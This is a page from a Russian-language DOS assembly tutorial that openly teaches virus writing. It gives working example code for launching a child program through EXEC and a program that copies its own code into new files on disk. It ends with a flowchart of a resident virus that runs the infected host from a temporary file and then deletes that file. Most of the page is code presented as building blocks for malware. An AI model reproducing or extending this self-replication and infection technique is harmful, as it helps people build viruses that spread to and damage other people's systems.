CodeNet / Языки программирования / Ассемблер / "Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
РЕЗЮМЕ¦ Вот какая последовательность действий необходима для EXEC:
-------
1. Переопределяем стек (пускаем его впритык к нашему
сегменту кода). Если процесс-родитель - СОМ-прогр-ма,
то до нашего вмешательства было так: SP = (SS=PSP)+65535
2. Сокращаем память родительского процесса, чтобы дать
место дочернему (новые владения родительского процесса
должны накрывать перемещенный стек)
3. Сохраняем в сегменте кода SS,ES,SP,DS
4. Сохраняем в сегменте кода DTA
5. Заполняем EPB
6. =====-Даем вызов EXEC-=============
7. Восстанавливаем DTA
8. Восстанавливаем SS,ES,SP,DS
. . . . . . . . . . . . . . . .
9. Завершаем родительск. программу
Вот текст примера (коментарии излишни):
-----------------------------------------------------------¬
¦ пример 12 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N12 пример использования функции EXEC
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short initial ;прыжок через данные
;
;
namef DB 'TETRIS.EXE',0 ;ASCIZ -строка - полн. имя файла
; ;
; ;блок параметров EXEC процесса (EPB)¬
exec_EPB DW 0 ; сегментный адрес строки вызова ¦
DW 80h ;-Tуказатель на командн. строку ¦
DW 0 ;-- в PSP PSP:80h ¦
DW 5Ch ;-Tуказатель на блок FCB1 ¦
DW 0 ;-- в PSP PSP:5Ch ¦
DW 6Ch ;-Tуказатель на блок FCB2 ¦
DW 0 ;-- в PSP PSP:6Ch ------------------
;
;
; !(SS = PSP)
initial: MOV AX,OFFSET save_arrea + 200h ;необходимо позаботиться
CLI ; о стеке (он должен быть перемещен
MOV SP,AX ; в охраняемую область, начинающуюся
STI ; следом за кодом процесса-родителя
; ; и не наследуемую дочерним процессом)
;
; ;необходимо дать место дочернему про-
; !(ES = PSP) ; цессу (для этого нужно сжать блок
MOV AH,4Ah ; памяти родителя до граници охраняе-
MOV BX,60h ; мой области (сам родитель+стек+хра-
INT 21h ; нилище SS,ES,SP,DTA); ES - сегмент,
; ; BX-длина (в параграфах) охраняемой
; ; области) здесь мы решили что BX=60h
;
MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить
MOV word ptr CS:[save_arrea+2],SP ; значения регистров
MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS в коде
MOV word ptr CS:[save_arrea+6],DS ; родителя
;
MOV CX,20h ;сохранение DTA----¬
MOV SI,80h ; в коде родителя ¦
MOV DI,OFFSET save_arrea + 8 ; ¦
CLD ; DS:SI ---> ES:DI¦
REPE MOVSB ;-------------------
;
;
PUSH CS ;необходимо заполнить блок параметров
POP DS ; запускаемого дочернего процесса
MOV AX,CS ; (указываем сегмент. адрес PSP
MOV exec_EPB+4h,AX ; для родительского
MOV exec_EPB+8h,AX ; процесса)
MOV exec_EPB+0Ch,AX ;
MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени
MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB
XOR AL,AL ;код запуска = 0 (EXECUTE)
MOV AH,4Bh ; (еще есть = 3; - это OVERLAY)
INT 21h ;======== EXEC ! ! ! =============
;
;
CLI
MOV SS,word ptr CS:[save_arrea+0] ;восстановление
MOV SP,word ptr CS:[save_arrea+2] ; сохраненных
MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров
MOV DS,word ptr CS:[save_arrea+6]
STI
;
MOV CX,20h ;восстановление DTA¬
MOV DI,80h ; ¦
MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
;
MOV AX,4C00h ;выход в DOS (еще
INT 21h ; один способ, опи-
save_arrea: ; ; санный в thelp)
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
И последнее, чему нам нужно научиться для создания нашего вируса -- соз-
давать на диске файлы и стирать их.
Здесь все достаточно просто:
--Открыть для создания файл -- функция 3Ch прерывания 21h
создание-+ Записать в открытый файл что-то -- функция 40h прерывания 21h
файла L-Закрыть файл -- функция 3Eh прерывания 21h
--
L-Стереть файл -- функция 41h прерывания 21h
Все данные возьмем из thelp:
DOS Fn 3cH: Создать файл через описатель
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 3Ch (код функции)
L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла
¦ CX ¦ атрибут файла 0-нормальн. 3-hidden и т.д.
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ ¦ описатель файла если ошибки нет
L-------¦-----------------------------------
DOS Fn 40H: Писать в файл через описатель
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 40h (код функции)
L---------¦ BX ¦ описатель файла
¦ DS:DX ¦ адрес буфера, содержащего записываемые данные
¦ CX ¦ число записываемых байт
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ AL ¦ число реально записан. байт без коментариев.
-----------------------------------------------------------¬
¦ пример 13 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N13 пример работы с файлами
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP Short initial ;прыжок через данные
;
namef DB 'SELF0.COM',0 ;имя, под которым прог-
; ; рама запишет себя на
; ; диск
; ;
f_number DW 0 ;логич. номер файла
;
;
initial: INC byte ptr CS:[namef+4] ;здесь мы модифицируем
; ; имя, под которым прог-
; ; рама запишет себя на
; ; диск
;
;---открыть файл для записи (уже существовавший файл с таким же-¬
;¦ именем будет при этом уничтожен) ¦
;L---------------------------------------------------------------
MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла)
MOV CX,0 ;атрибут файла (0-нормальн.)
MOV AH,3Ch ;функция "открыть для создания"
INT 21h ;при открытии файлу присвоят номер
MOV CS:[f_number],AX ;сохраним номер файла
;
;---записать в файл что-то из буфера, расположенного по адресу -¬
;¦ ES:DX ¦
;L---------------------------------------------------------------
MOV BX,AX ;занесем номер файла в BX
MOV DX,OFFSET my_head ;ES:[DX] адрес буфера вывода
MOV CX,my_end - my_head ;CX=сколько байт из буфера запишем
; в файл
MOV AH,40h ;функция "записать в файл"
INT 21h ; (в файл будет записан код
; ; самой программы)
;
;---закрыть файл (это тоже необходимо)--------------------------¬
;L---------------------------------------------------------------
MOV BX,CS:[f_number] ;занесем номер файла в BX
MOV AH,3Eh ;функция "закрыть файл"
INT 21h
;
;
RET
my_end: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Теперь представим блок-схему комплексного вируса, ради которого мы так
долго мучались:
-----------------------------------------------------------¬
¦ рис.11 ¦:
L-----------------------------------------------------------
-----посадка резидента в MCB-блок----------------¬
L---------------------T---------------------------
¦
-----запись следующего за кодом вируса кода------¬
¦ зараженной программы во вспомогательный ¦
¦ файл на диск ¦
L---------------------T---------------------------
¦
-----запуск этого вспомогательного файла (EXEC)--¬
¦ (посаженный резидент поможет загрузчику ¦
¦ прочитать его как нормальный) ¦
L---------------------T---------------------------
¦
L---------->г=выполняется файл=¬
¦ . . . . . ¦¬
L==================-¦
¦
-----стираем записанный ранее вспомогательн. файл¬
Назад
|
Далее
